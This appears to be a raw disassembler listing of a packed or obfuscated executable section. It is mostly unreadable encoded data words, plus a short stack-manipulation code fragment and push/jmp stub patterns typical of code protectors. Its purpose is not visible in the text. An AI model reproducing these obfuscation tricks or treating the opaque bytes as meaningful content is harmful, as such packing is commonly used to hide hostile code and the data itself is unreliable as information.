dd 8784FD26h, 0FC5CB2BBh, 92A29F6Bh, 0CA25AE9Ah, 3EF05A3Ah dd 3F000000h, 9C27FC29h, 86D9D4D3h, 46D2E012h, 0D629FA80h dd 21E4DCD7h, 0DC14689Eh, 0B0CCCBD8h, 504F18A2h, 610B6934h dd 0DEEBD012h, 0A6D0938Bh, 1BD01261h, 0DC17A5A2h, 575A3AC7h dd 0BAh, 0FECF56A6h, 0B18207FFh, 6233BAB2h, 13E46B63h dd 5F8E969Fh, 7120081h, 0D112ED0Fh, 2FD611F1h, 8253DAA8h dd 0C9358883h, 545324ABh, 0B62AF62Fh, 14E36CEBh, 85F906DCh dd 271FF077h, 2EB5C305h, 0E26B5E5Dh, 50916D87h, 1A4D4598h dd 0CB29F4E3h, 0ABD0125Eh, 0CD74B9Eh, 0DA15E12Dh, 0BFC83C49h dd 4DD9FA33h, 6AF83984h, 6CBF8812h, 0B73C4A74h, 0D75C7AE6h dd 49E0AF06h, 7E7FD4BDh, 0C5777h, 0DCA52E00h, 0FBCC5270h dd 18E9718Fh, 3B048EACh, 5B2CB1CFh, 20E430EFh, 405ECA9Bh dd 6280ECB5h, 83A10DD6h, 0BABF2BFCh, 0AA2D430Eh, 0B7C5D019h dd 0D156A4h, 1EEF7694h, 0FC29CFB2h, 17A2B024h, 9544F4Eh dd 0A7CE2B5h, 0DF0901D5h, 4A139FADh, 1D2C8F52h, 3C46DC14h dd 0E9E4E3B4h, 88E29796h, 2DD012DDh, 0A229B7B4h, 695A3A7Bh dd 0BFh, 0FECF56B8h, 0B18207FFh, 0DBA42F3Dh dd 76792EE3h, 72D61149h, 8DFD8369h, 82E93405h, 33048C02h dd 5BE2E8E0h, 0E336078Dh, 1D25977h, 0D8A0DD02h, 2CB5664h dd 89ADC38Eh, 3845D611h, 0CC4B1640h, 66DC1493h, 80ED75Ch dd 0E9211783h, 0DBD6D528h, 54D11C88h, 0BD8D58CCh, 0B9DA1584h dd 0A52A38ACh, 0C54A68D4h, 50C49DF4h, 7677D4BEh, 0B776Fh dd 0BC850E00h, 0DBAC3250h, 0F8C9516Fh, 1BE46E8Ch, 3B0C91AFh dd 0C410CFh, 203EAA7Bh, 4260CC95h, 6381EDB6h, 9A9F0BDCh dd 0B5CD23EEh, 97A5D019h, 4F293284h, 51ED463Dh, 0CAC9921Dh dd 7E847CCFh, 93B230F9h, 0A05B79C1h, 3CC3E14Dh, 561CFF6Bh dd 7FFFECFh, 2543AF80h, 7A43CF9Dh, 2BFC837Bh, 8BDE312Ch dd 0DC62708Ch, 860D130Bh, 848B95BDh, 89DCA837h, 0F9D2BC1Dh dd 4E80F48Ch, 0F1E9BA40h, 1412252Eh, 10404DDCh, 98F8B2BDh dd 0B048B5CBh, 0D0CA713Ch, 9FAC2199h, 0C6971D2Bh, 0F4FD19CEh dd 0D3DAE54Dh, 93C349Ch, 0C590049Ch, 0DF87F403h, 0C1A8E9Bh dd 3E30B785h, 87F47D73h, 95E8F5DFh, 0F3F2BB45h, 1B39A5F8h dd 896CC394h, 50D24BDBh, 0AA2484Fh, 5AE30000h, 81072591h dd 9E2644B0h, 0B94361CDh, 0E16684F0h, 99E5A410h, 137F50D5h dd 35A16AF5h, 56C28B17h, 74E0B138h, 0FAF8C36Fh, 7AD019B4h dd 0CF56596Ch, 0A3DAFFFEh, 0F99661D5h, 79DC144Bh, 0FBC6F86Ch dd 0D01243F5h, 433E34FFh, 0A9B6D012h, 561FA9B3h, 11095C57h dd 9F79A4EFh, 7533602Bh, 95C3DA17h, 1771A4CAh, 0EC3F4CDAh dd 713E38EDh, 0BB83DA17h, 575627ADh, 8C89645Ch, 3FD7F5FEh dd 464050h, 328F0000h, 0D3CB9C24h, 23A365A0h, 14DE2EEEh dd 471286D9h, 0DC144CB4h, 4B1CA2B0h, 0AD59514Ch, 6EBEB47Fh dd 2936D015h, 0C85462D6h, 0BCB893FFh, 0DED0156Eh, 0FC1A8657h dd 8CA8A770h, 2726F77Eh, 0D91F342Ch, 22000009h, 0B024FC29h dd 1A33F2E5h, 0A3E5EEDCh, 0C6CDB2A3h, 2FF882D2h, 0A7E8B37h dd 38A475FCh, 4EC2931Ah, 0A3C1B45h, 766E8BB9h, 97619CC1h dd 0AFE8F123h, 1471A48Dh, 0BD9B5E56h, 0B5DA12EDh, 545324ABh dd 84920659h, 0A2C02CFDh, 264B4A1Bh, 7BAD21FFh, 1817E86Dh dd 9962251Dh, 51D00583h, 0ED44h, 0DADBDACAh, 96FD3h, 0C48D1600h dd 0E3B43A58h, 0D15977h, 23EC7694h, 431499B7h, 8CC18D7h dd 2846B283h, 4A68D49Dh, 6B89F5BEh, 0A2A713E4h, 0B7C52BF6h dd 9FADD019h, 3500328Ch, 0D611453Fh, 0EFB2AAB7h, 0D6114585h dd 6DE1BFE6h, 810CDA5Fh, 436D65B8h, 1A329A78h, 890E1CDCh dd 0C6BEB9B8h, 0B98A101Ah, 0F86CBFBAh, 632CB8C6h, 0C1C08913h dd 41C8CEC6h, 5FE60470h, 336A8F8Eh, 6926F165h, 8BDA1CA6h dd 2726F77Dh, 7B88342Ch, 0C11E2D24h, 141B1CD4h, 8E0h, 0E7531CA5h dd 67243C9h, 238F60E8h, 46B27B05h, 66D2A328h, 12975BA7h dd 2CB7D541h, 4DD9F763h, 73FA1884h, 853136A2h, 19B6B4BAh dd 1B2E3CD0h, 0CE9F2432h, 45618F5Ah, 411D611h, 0AE7F060Ch dd 5F30B7AFh, 6B683D60h, 39E716DDh, 47252E5Ch, 50EE563Dh dd 0C2266159h, 75000003h, 0B024FC29h, 1A325BE5h, 920613DCh dd 0C02CFD84h, 5E291BA2h, 0D019AB10h, 0F883D3E0h, 28DDDC2Fh dd 0D019ABCEh, 2EF9E61Fh, 0D019ABC0h, 0DC50A3B0h, 1CA44211h dd 90E7F4DAh, 0D4C1208Fh, 418A9192h, 44000008h, 6886F2BBh dd 87A511E2h, 0A4C22EFFh, 0C7E5511Ah, 46057142h, 0E0B136FAh dd 2CB5674h, 23EC7896h, 411299B7h, 5924D0D5h, 0D019B61Bh dd 56BACDDBh, 0E3FFFECFh, 4588E6B1h, 5B68D611h, 5D65D63h dd 110EE306h, 39E74883h, 32FC35Ch, 99120000h, 0D611455Fh dd 178B1590h, 1A33044Ch, 1BA6B0DCh, 1CFA335Ah, 6598272h dd 33C10C07h, 0BFE8E2ECh, 9AA81C6Fh, 0F2C3480Eh, 0ADA5A09Fh dd 1DEE7583h, 0DA616FB1h, 170F0A09h, 0BAB98A11h, 1C906895h dd 8657DCEAh, 0D1948C87h, 0DA1C2C02h, 5850AFB4h, 0F36A145Fh dd 8E3E49A0h, 5455D4C0h, 78F4Dh, 0A46DF600h, 0C3941A38h dd 0E0B13957h, 3CC5674h, 23F47997h, 0E8ACF8B7h, 8269263h dd 2A48B47Dh, 4B69D59Eh, 8287F3C4h, 0B1E50BD6h, 7F8DD019h dd 0FECF566Ch, 0AF8007FFh, 0BBB88DB0h, 39E7A62Dh, 0E9707E5Ch dd 74C7901Bh, 27F417Ch, 99900000h, 0D611455Fh, 178B1590h dd 1A333D4Ch, 0C08BB9DCh, 0D019ABB2h, 6EE23542h, 9408D960h dd 19ABABC9h, 463E4BD0h, 0B6870E1Ch, 0BD6084Ah, 0D019ABE5h dd 8288808Dh, 0A8B62AFBh, 57525122h, 1885AA5Fh, 0CE410C80h dd 48DA1C8Bh, 37CFE43Bh, 0F9FAD4C1h, 6EBF2h, 48119A00h dd 6738BEDCh, 8455DDFBh, 0A770FA18h, 0C7981D3Bh, 8C509C5Bh dd 0ACCA3607h, 0CEEC5821h, 0EF0D7942h, 262B9768h, 0B041AF7Ah dd 2331D019h, 0FECF5610h, 7C5818Ah, 0EEDD39CCh, 0C24941F6h dd 0E56F7DF1h, 0C16F241Ch, 5019A5B3h, 0D8807D58h, 10148051h dd 5C3996DBh, 0C95563h, 0D30E0601h, 19h, 35003222h, 0D611453Fh dd 807D85Dh, 850D170Dh, 546961B4h, 1ADh, 35003257h, 0D611453Fh dd 0EFB2AAB7h, 0D6114583h, 73E7B1ECh, 0D0CDD65h, 0BEF01A12h dd 4BAF3CB5h, 251DDFEAh, 1A120262h, 0E1ACDADCh, 0D0184A93h dd 0D40B5663h, 97D8E359h, 6A78EC3Fh, 0BE8F15E3h, 8550C4BFh dd 0D0187D6Fh, 3BA7FA07h, 51C5961Dh, 0F3EBBC43h, 17EC193Eh dd 479C48Dh, 0ACE90B77h, 0A7D94DA0h, 44431499h, 9D8E5149h dd 95DA1D3Bh, 0A8123188h, 5051D4C1h, 5F349h, 40099200h dd 5F30B6D4h, 7C4DD5F3h, 9F68F210h, 0BF901533h, 84489453h dd 0A4C22EFFh, 0C6E45019h, 0E705713Ah, 1E238F60h, 0B349A772h dd 1B29D019h, 9F243208h, 1E7C83CEh, 7655732Bh, 20F1787Eh dd 0D1A22921h, 686524D2h, 0F46839C0h, 908F60E6h, 24564A95h dd 186631E1h, 0F1FAFE20h, 3C5C39D3h, 7, 0C7478Bh, 994A0000h dd 0D6114558h, 1E926E97h, 0BFB78810h, 33A1CA95h, 3C49DC1Ah dd 6233BAC8h, 8D56E0EEh, 0CE557395h, 58AB7400h, 2FC93459h dd 8B7FF0BBh, 0EAF7DA1Ch, 0C1396A93h, 0B5BCBDD4h, 54Ch dd 7BE7B039h, 9A06D75Dh, 0B723F47Ch, 0DA460F99h, 0FA6637BCh dd 0A62BEF3Bh, 0C04B69D5h, 0E16D8BF7h, 78EAC18h, 19C5CA36h dd 19B3204Eh, 0AFC2D0D0h, 0FFFECF56h, 3BAF8007h, 45303E09h dd 0B3C0D611h, 995806BBh, 9C6DF49Ch, 0C9AC1F28h, 0FB13F4B3h dd 16DDE103h, 2E5C3959h, 0F3C331FCh, 0A6B3D611h, 773AEh dd 47C20000h, 1Dh, 6CF564Ah, 34ED0F22h, 0E9E83B43h, 9A996AF1h dd 0BA625FBAh, 0C9F66233h, 2Ah, 9C2432CCh, 21D9CCCBh, 8D4230D3h dd 0F8FEF649h, 0ECA1A071h, 0D6110283h, 0D19D9A5Dh, 29ED49Fh dd 4956D611h, 0F3C44B51h, 0CF56A487h, 55A87901h, 2CF43156h dd 5122AAB8h, 0F4FD2F59h, 2B1E9811h, 71342C71h, 0DC1A8A7Eh dd 6977EBF8h, 87A511E2h, 0B302F00h, 0C7920692h, 0DA139541h dd 5260D4E1h, 708EFACBh, 0F41918E9h, 497BEF89h, 0EDE5B63Bh dd 6DB512Ah, 0B50C19D0h, 0DACAC882h, 41E1E8E9h, 44000004h dd 6886F2BBh, 87A511E2h, 0A4C22EFFh, 0C7E5511Ah, 46057142h dd 0E0B136FAh, 2CB5674h, 23EC7896h, 411299B7h, 5924D0D5h dd 0D019B21Bh, 56BACDDBh, 0DC12DDCFh, 94D61145h, 8EC03487h dd 1145ADC3h, 0B63B45D6h, 789A92E5h, 8E02D35Ah, 9C338D85h dd 3D35E95Eh, 66636C88h, 0EE84F13Ah, 0DCAD3383h, 8957DEE4h dd 37323102h, 7837E5E4h, 7B4CD37Bh, 7FC00B0Fh, 424B5C39h dd 9A000000h, 0B024FC29h, 149212E5h, 0B6404EDCh, 3C49F5EDh dd 652EBAC8h, 0AD8DE8F1h, 0F8E22F82h, 60ABBADCh, 7B734094h dd 4E767E59h, 1DA4D012h, 36C2E04Ch, 49526E6Dh, 0CC830B8Ch dd 0C6DBD3EBh, 384h, 350032C9h, 0D611453Fh, 7FB2AAB7h dd 0FD067A06h, 0C99DD1FEh, 6B3CC35Eh, 261E716Ch, 544E31FCh dd 2328DC14h, 8A55CE4Ah, 3F3E91ACh, 65F7C047h, 5E512CA2h dd 24040356h, 8EF7CCC9h, 30B37EF2h, 0AADA17CCh, 0BFE6319Dh dd 0CCFFF5C0h, 7277DA17h, 0D9DF7D50h, 9AED4020h, 0E0985B26h dd 4552D012h, 0F8C94E46h, 0B47501F9h, 74D81FCBh, 8180D3D2h dd 32310289h, 0E8E7B03Ah, 3532DDEDh, 39509E69h, 1320C418h dd 6E6B4AC0h, 20946C99h, 1D359255h, 0D33F4CCEh, 5E5D2EB5h dd 0A20EDF66h, 0DE522E57h, 18CAFC13h, 0E76C76C4h, 0FC4C316h dd 0C81EC0E5h, 18E4E15Ah, 0DDB5D20Fh, 0BBB32E5Ch, 365F04CFh dd 540F42h, 295E0000h, 0F4112CFCh, 0BA3ADD1Eh, 0F1757B46h dd 0F0FDD611h, 0AD20299Dh, 0CB66B2D7h, 53777D48h, 0F2FFD611h dd 0B27DA79Fh, 0DC147EF1h, 0A85D5C69h, 0D0127C4Eh, 7A7942CCh dd 2F2EF782h, 8D353211h, 0BCE53801h, 9061E6F4h, 32C0BD98h dd 5A3ADAB9h, 0C474h, 0CF56C300h, 0D5E3FFFEh, 8883824Bh dd 452B4914h, 0BECBD611h, 6A3BC0C6h, 23EC736Bh, 0F2242135h dd 8786D9F0h, 0CB37088Fh, 11538FF0h, 0B5860DD6h, 0DBA42B49h dd 0C728D729h, 9AD8A357h, 5AD611E4h, 0A8A7FA4Dh, 0A7E1A83h dd 14ED7C3Fh, 7DE9F6DCh, 0A930CB32h, 0F0FA63E0h, 0FF5231D5h dd 0FD0638ACh, 0CDD0A3C1h, 8F524A12h, 0DA154003h, 0D2A32933h dd 78FD0B7Fh, 981D3BA7h, 9C3370C7h, 0ADAED4BEh, 1E7A6h dd 4C159E00h, 6B3CC2E0h, 8859E1FFh, 0AB74FE1Ch, 0CB9C213Fh dd 9054A05Fh, 0B0CE3A0Bh, 0D2F05C25h, 0F3117D46h, 2A2F9B6Ch dd 0BFBDB37Eh, 2735D019h, 0D15614h, 26F77E8Ch, 12342C27h dd 309C6DF4h, 3FC294Dh, 11453A38h, 5AADBAD6h, 68981BE6h dd 0C5D2DC14h, 61E711C6h, 945CD012h, 61599762h, 0C19D012h dd 0AE3C3914h, 5A3AC725h, 0D835F801h, 48703DAh, 0E2D10Ch dd 0B3C10000h, 9C675F28h, 12DDCF56h, 0D61145DCh, 0DB1E8F94h dd 3D465E21h, 45AB76EAh, 2DD61155h, 4B59CD20h, 0F8F7C0h dd 0ADA8A778h, 0B5AD625Ah, 7D733E30h, 0F5D61155h, 0E19695E8h dd 0D611599Eh, 3AA677FEh, 0F52DEFF8h, 4AAD3D34h, 62AD727Ah dd 1A12940Dh, 0BDBC8D14h, 4EA46FA1h, 26D6111Bh, 0B7EE2119h dd 9AA75E9h, 61DC1412h, 609DE854h, 0D8592498h, 20DA1592h dd 52CD23EEh, 98A5DA18h, 73E7F4A0h, 150DDE65h, 8758DDEBh dd 8678FD1Bh, 1852B5BBh, 0DD303DDAh, 0BE423F86h, 0C6CDCED4h dd 0CCh, 0FB6730B9h, 1A8657DDh, 37A374FCh, 5AC68F19h, 7AE6B73Ch dd 26AB6FBBh, 40CBE955h, 61ED0B77h, 870E2C98h, 99454AB6h dd 19BEA0CEh, 2F4250D0h, 0CF982432h, 0D7DDD5D0h, 0F7158152h dd 50339F70h, 0FFFECF56h, 43AF8007h, 7FF38DF8h, 1A33CBB4h dd 4A1543DCh, 0D019AB24h, 0F86CBFCCh, 959465EAh, 0AB40AE79h dd 2330D019h, 2B23D8D0h, 4967D3A4h, 3DF2F1C2h, 4F834DD6h dd 1EC6C31Eh, 3C5AC697h, 6270E4B5h, 5F140CDDh, 0A21CDD67h dd 0DB66B110h, 0C826F165h, 0A8AF9261h, 2B49489Bh, 7031F4FDh dd 730D973Eh, 221D1CEDh, 0C88B84CFh, 0FE940998h, 622E2B06h dd 0CB514459h, 0E3DB6454h, 198556DDh, 0A4A374FBh, 39Dh dd 3D54A000h, 504CD56h, 0B6B5860Dh, 6A6932BEh, 1F1EE772h dd 0D2D1A227h, 858455DAh, 3B3A038Dh, 0EBEABB43h, 9D9C6DF3h dd 0E789576Fh, 4C781h, 0EF830000h, 243C8704h, 241C895Ch dd 36AA68h, 242C8900h, 5E08950h, 4, 8704E883h, 895C2404h dd 9C68243Ch, 8B0608EEh, 0C481242Ch, 4, 4EC81h, 24890000h dd 24048324h, 3685F04h, 8900005Bh, 2C81242Ch, 37A1624h dd 8478F7Fh, 16084781h, 8B7F037Ah, 8953243Ch, 4C381E3h dd 83000000h, 1C8704C3h, 2C8B5C24h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_4F2EAD ; --------------------------------------------------------------------------- db 0B0h, 0E3h, 72h dd 0D8B81727h, 1546BE1Fh, 8FC54B8h, 0FFC50306h, 244771E0h dd 323ED259h, 0FE771879h, 418E0F15h, 3CB2B43Eh, 2423F63Bh dd 330C5752h, 0CA77A90Dh, 77F4604Ah, 18F1A812h, 36D4E513h dd 304A820Ch, 258D8D3Ch, 6A0608FEh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0DCD7C356h dd 0F27F799Eh, 0FBF6BE66h, 20A58D89h, 11E80603h, 20000000h dd 0A88CF8EAh, 0EB819151h, 0CCF69BB0h, 9A49C411h, 2AED850Bh dd 0C7580603h, 31A6585h, 708406h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 0AA1FA414h dd 0FE9h, 0D7260500h, 0C23DCB67h, 0D0D137B2h, 3E10365Dh dd 18819589h, 85C70603h, 6030071h, 0 dd 1DBD0160h, 8B060320h, 0B5FF61C1h, 6030DC1h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0BCC35545h, 0BE66F0DEh dd 0BF0FE932h, 0FFF28BF3h, 3171D95h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 6AE741DCh dd 0A595FF00h, 8B060323h, 0E91EEBC0h, 29F84D68h, 0A87D66C2h dd 827E8878h, 0C78155CEh, 7D4815FEh, 0FAB15CAAh, 0F93FF519h dd 8E8DFh, 0E4140000h, 350607F6h, 95894A5Ch, 6032539h dd 399D8B5Fh, 81060330h, 5BFDC7h, 759D8B00h, 68060308h dd 16C9h, 3D9B501h, 0E85A0603h, 9, 0D50E4830h, 0DEF66D92h dd 0C681668Ah, 0FF5EBF72h, 958D8937h, 58060303h, 759D8B52h dd 5B06032Eh, 1E66F081h, 0B58B5AB3h, 60317B9h, 5AEC081h dd 0BD890F6Ch, 6031DFDh, 66E5F081h, 0B58B7315h, 6031B11h dd 98E0F50h, 0F000000h, 38Eh, 9E38000h, 0DB81078Fh, 13900574h dd 0F124EF81h, 0EE95C5Dh, 6F000000h, 2DA69D58h, 8C87FEA9h dd 761A8E29h, 20C7819Fh, 665C5DF1h, 815DAFBBh, 1EAh, 12850F00h dd 89000000h, 31A29B5h, 15E906h, 82390000h, 943AA8EFh dd 62BB664Fh, 0FF69E98Eh, 8011FFFFh, 0E9577A7Ch, 17Dh dd 4FFE5D60h, 6FC2016Ch, 0B4CAD1D7h, 5B7E41EFh, 5D9752E4h dd 0FCA3FB6Dh, 9EB99244h, 0BCD792A5h, 93B9E495h, 9DB2CB00h dd 9CACA3F4h, 9EB9FCh, 0AFC945D2h, 0FC00EE73h, 9CBA9755h dd 0A4E56D59h, 0FEACFFB2h, 5657F647h, 0CCD4C4h, 8F7DB5F6h dd 539549F7h, 0C9BCFA97h, 915CCD45h, 0ACE56CA1h, 10000h dd 43h dup(0) dd 36D1F800h, 0C20DA437h, 42723CD3h, 10BBE905h, 87680000h dd 0E9060902h, 0FFFB4687h, 903B868h, 467DE906h, 3968FFFBh dd 0E9060905h, 0FFFB4673h, 905FF68h, 4669E906h, 5D68FFFBh dd 0E9060907h, 0FFFB465Fh, 9085068h, 4655E906h, 1E68FFFBh dd 0E9060909h, 0FFFB464Bh, 9099A68h, 4641E906h, 9568FFFBh dd 0E906090Ah, 0FFFB4637h, 90B2D68h, 462DE906h, 3268FFFBh dd 0E906090Ch, 0FFFB4623h, 90CC968h, 4619E906h, 8068FFFBh dd 0E906090Dh, 0FFFB460Fh, 90ED368h, 4605E906h, 0F568FFFBh dd 0E906090Fh, 0FFFB45FBh, 27118B9Eh, 6D575DEAh, 0B7A1FF30h dd 0F8E2B27Ah, 3D276FBBh, 0C9594356h, 909EDBC5h, 4BE5220Ch dd 924614Bh, 3524A58Fh, 8BE5D6F4h, 0BAED04A1h, 0E5884283h dd 0BD52A18Bh, 8BE64E7Ch, 0C0DA8CA1h, 0D657B809h, 0BC7106C4h dd 6371F0DAh, 0E9C077D4h, 1E38423Dh, 59D3EA21h, 0F2B9863Dh dd 0AAAD9794h, 4B7B3AF8h, 78A1918Bh, 8F24E2AAh, 0F710769Fh dd 0DFF9E482h, 424E07C5h, 60D4A156h, 21794B74h, 20370A14h dd 88D48B0Dh, 4Ch, 1CF15D5h, 0A3CC304h, 5608AD98h, 6D06E398h dd 6C81DFFBh, 0CEF8C57Ch, 0F5A19165h, 0E89D5B3Bh, 916623A7h dd 2805B7A1h, 46DB9907h, 25F7B5E7h, 964B3705h, 406955C9h dd 0A14986Eh, 0ACA3h, 6477E00h, 0A19159C4h, 5CAD6416h dd 6C4D657h, 1FDDA171h, 3BF9A38Ah, 0F13287A6h, 0A794E6D9h dd 4B354F01h, 94EBB4E4h, 207AB3A7h, 6234F936h, 1412EFA4h dd 2C4486F8h, 5DA3883Fh, 183262CCh, 0C089DA1Bh, 0D183AD97h dd 541A68E7h, 26092057h, 31E8BA78h, 97412164h, 807D2FA7h dd 0D8D5D969h, 732A6CC1h, 0F2BA86C3h, 28ABF96Dh, 0C45FD3E5h dd 0E39h, 67514BDEh, 0AD971D2Ah, 0F7E1BF70h, 382272BAh dd 7D672FFBh, 89998396h, 50DE1B05h, 0B25624Ch, 0C964A18Bh dd 7564E5CFh, 8BE49634h, 6C2D44A1h, 0D9C3CB57h, 1D07919Ch dd 1ECF1532h, 94E6EDDDh, 213BEDA7h, 6B10ED24h, 0D344DDC8h dd 44BB883Fh, 0D1AD9722h, 0D61864F4h, 6F26F72Bh, 0CF12A0DBh dd 0FED1484h, 4E7837F5h, 85A190E6h, 2AFC2511h, 5F0A1518h dd 0F9h, 0BF0037ACh, 0A794E70Bh, 0C3661DCFh, 0BE0C4D6Ah dd 1CA794E6h, 0DD92506Ah, 0E76565A6h, 75A794h, 9B526C30h dd 0A66428F8h, 94EBB1E7h, 0F8B996A7h, 9EFE3000h, 147419FBh dd 2973BA5Dh, 0E82B023Fh, 0BF6E2336h, 0EB583ADDh, 253C3953h dd 51D58C0Ah, 4283747Ah, 0A794E688h, 0E6E8E223h, 40F2A794h dd 0A9A6C072h, 99359572h, 0A81EADA7h, 0CE3F24F1h, 0C19EAD97h dd 0BABE9E4Ch, 3991D271h, 0A1A19161h, 8A1ED5EFh, 63A4DBD8h dd 0A1916167h, 0FECCC864h, 66E5954Ch, 14555218h, 0A7971360h dd 0F2BA889Fh, 17AB6234h, 0C1516865h, 8A96D3BDh, 821F7D02h dd 65D9E528h, 0D08CAh, 801A0F00h, 0C4CA5996h, 4929DDAh dd 4551DD1Ah, 8A121E5Bh, 0BCE0B9A0h, 13E286Ch, 44816B33h dd 83C0AAEAh, 8506F0AAh, 0E3755596h, 4E65A18Bh, 3ACB578Dh dd 40173FA5h, 37213BF6h, 7F6933FAh, 0C4D65794h, 0F03A5106h dd 5D14E6A4h, 3F2973BAh, 0AFACB2C0h, 9804E16Eh, 9E8E03ADh dd 546E40FEh, 0C9EFD796h, 70E4A191h, 33895B84h, 73BE0A14h dd 0B000000h, 401CF15h, 980780C3h, 0DC9A4CADh, 811F1027h dd 465968C3h, 1F2524CBh, 45814E05h, 8EA191ADh, 33052E1Ah dd 680A144Dh, 46h, 0D2032C43h, 6B223C58h, 1CF151Ah, 234C304h dd 9AD1AD98h, 0CBA82263h, 8032A191h, 91CC5179h, 20D789A1h dd 671CDA8Ch, 88DC168Ah, 0DE6AEC32h, 3805BCD6h, 0A191E58Eh dd 0BCE5D145h, 0A1417EAh, 141Fh, 20376C00h, 5293900Ch dd 0A794E678h, 50F9B062h, 901h, 1ECF1557h, 94E6EDDDh, 213BEDA7h dd 0E783E324h, 0FA8FAD9Dh, 8BE611B9h, 0FD17C9A1h, 5244E900h dd 6CC1D89Bh, 72E95A1h, 18326137h, 0E734041Bh, 0ED7E500Ch dd 10CEE897h, 9AD7873Eh, 744B0993h, 8663606Eh, 67BFEC4Dh dd 36AAD9BEh, 3CF902A5h, 437A3DF4h, 0DE95032Ch, 9494E411h dd 55D74CA7h, 9FB98B49h, 35A28BA2h, 6FBE9BFBh, 0EC29132Dh dd 0C2995741h, 70B1AEBCh, 0A185A0C7h, 0BAB63BEDh, 8FB34E3h dd 0B87F994h, 99900000h, 4BD815FFh, 0D1E5B45h, 0C468A58Fh dd 61B1EED8h, 4D4C331Dh, 0D1BBC34Fh, 14FE8694h, 5F4955D7h dd 0A7910B22h, 0D4F63726h, 6A18BE1h, 992D2EEFh, 0E8A794E7h dd 96804B9Ah, 0EC8CF1F2h, 0C294D5D2h, 1AD9D45h, 87935EEAh dd 9A2EE5FFh, 738D0925h, 0F6C40A89h, 46A6B8F9h, 0AA5CA794h dd 59796ADh, 4D4FDE1Bh, 0A9F53950h, 49976EF2h, 0A06F8683h dd 6B850917h, 4DB0F1B4h, 0F3A18B47h, 2D4441h, 4F37DD0Dh dd 822CD27h, 71E4C11Eh, 0C485E330h, 726C980h, 0B018D795h dd 0D515790Dh, 83C4C18Fh, 1B7C2EDCh, 4981C2F9h, 620F75EEh dd 75EDA921h, 0B17F310Fh, 2B448FFh, 3F43F37Dh, 0B651C571h dd 0AC1h, 0DFC9D356h, 250F95A2h, 6F5947E8h, 0B09AFA32h dd 0F5DFA773h, 1110B0Eh, 0C856937Dh, 939DDAC4h, 51DC1903h dd 0EDDC5D47h, 8BE21EACh, 0E4A5BCA1h, 401CF15h, 9DE693C3h dd 171930ADh, 13CD087h, 0D5AB1039h, 1EACEDF6h, 0BCA18CDCh dd 0B2F3F00Ah, 0A18CDC18h, 0F9F610C2h, 0A4874AE2h, 4C6638F6h dd 4205BC8Eh, 0AE98022Bh, 3251BC71h, 0CDFCA4F9h, 481FDDF7h dd 0F637343Ah, 0A795046Ch, 0D3F7386Fh, 79B8304h, 0E6B67855h dd 0B9F5628h, 0E8455C59h, 0A687C4AEh, 115F36F4h, 0E0174E4Bh dd 83052B9Fh, 0EE3AAF9Bh, 0FC16E8A6h, 4AD7845h, 9DB4A18Ch dd 7A227A93h, 60796594h, 49FB8F46h, 0BC38154Ch, 3793D4C2h dd 0A3957A10h, 0C39E4EF1h, 0EE3FE299h, 0A885C2ACh, 7F991D2Bh dd 0EC402C1h, 0B7BD957Ah, 0AF6BACA9h, 9C9B830Eh, 1682DEBFh dd 0F7C98715h, 6F7E7454h, 757224B8h, 0D0CDCF5Eh, 53725899h dd 0C7938F71h, 3D8B3948h, 4F06B886h, 0D1CB629Fh, 28363C13h dd 9474EA2Bh, 198E957Ah, 4586830Bh, 89689485h, 0CB89A355h dd 0BCFDEEF4h, 8968950Eh, 3001ACCh, 9B5242ECh, 296AA1D8h dd 896894A1h, 9501C90Ah, 27D98968h, 23F0A759h, 8F6BA358h dd 91AD32E4h, 0EBCD0EDBh, 963DC77h, 7DB40000h, 27F4311Bh dd 0F13A7761h, 0B07CB9A3h, 6DBDFAE4h, 41583F29h, 0DDC7CF5Bh dd 200A92A0h, 634D49E3h, 0AB950726h, 0D0FA3B2Ah, 0AA18BDFh dd 203732F3h, 33D68D13h, 4551DDFAh, 81B86D2Bh, 94E68A40h dd 0E79E50A7h, 0B2AFE944h, 4E05919Bh, 94AB48CAh, 0A545FC98h dd 0AAEC41B9h, 1700D2C0h, 17350411h, 10000000h, 0F8278633h dd 7D346D39h, 1220372Ch, 43FACC8Ah, 5219Ah, 0C371A100h dd 0FFFCC210h, 9802A9BEh, 95D66BADh, 0A191CB35h, 0CED9F3A5h dd 9D9C73A9h, 0E3B4BA74h, 38354F57h, 891E40F7h, 0FD2E45D4h dd 0D54F7BBCh, 0D98BC882h, 8C2F01BFh, 1995EE23h, 0C95D1489h dd 7C825917h, 0EE30716Eh, 65CE88C5h, 1A82A888h, 85C6C1AEh dd 0C27B1145h, 12C9E395h, 0B8CFCC7Eh, 0F262375h, 0EBBD7B03h dd 0E6478434h, 6C192FB4h, 0EF630C38h, 87054h, 1882A700h dd 5C22F12Eh, 9CFA3572h, 0DDB975B2h, 226AB6F3h, 54485138h dd 99D6C0C4h, 0DC19038Bh, 1B584252h, 1D9E8812h, 0DEDDED2Eh dd 0E6FDA18Bh, 1D65725h, 0E0B2702Eh, 0A77308C6h, 6876F5DFh dd 0F72E6562h, 94E714B6h, 5D14C6A7h, 9DE69C90h dd 535002ADh, 0C38E76h, 873E2E43h, 1680ADC4h, 7FCBE219h dd 0A0A77937h, 0A18CA42Ah, 9747FEB0h, 8A08233Ah, 12FD30D3h dd 0DCC85456h, 0FFBDD746h, 0F8D2134Ah, 0E2A18C8Bh, 4E947930h dd 7AAD08F7h, 0DA52C21Ah, 102AFCBAh, 0AAB8F9F6h, 60A79510h dd 437AB1AEh, 8311C802h, 0CB363D9Bh, 0B215B7A8h, 0DDA16FE4h dd 7C334D1Fh, 584254D9h, 0CA88121Bh, 1CA1E535h, 0E5309074h dd 0A237D246h, 75000007h, 0B3F0DABCh, 0F7341E64h, 3F7C6634h dd 88C5AFEFh, 230AF4B8h, 921A2676h, 0D9DD6BA8h, 1C78B2EFh dd 5E38F532h, 0C304F374h, 0A18BDE07h, 37FBBCD3h, 4C7CDA5Ah dd 0EC5ADCAh, 1815DB29h, 0B56C3201h, 24B1B1F2h, 0A759AD9Dh dd 0D05C73AAh, 34AF21C4h, 8BFC9021h, 9AFC31D4h, 0F03C53B0h dd 5D14E6A4h, 6B2973BAh, 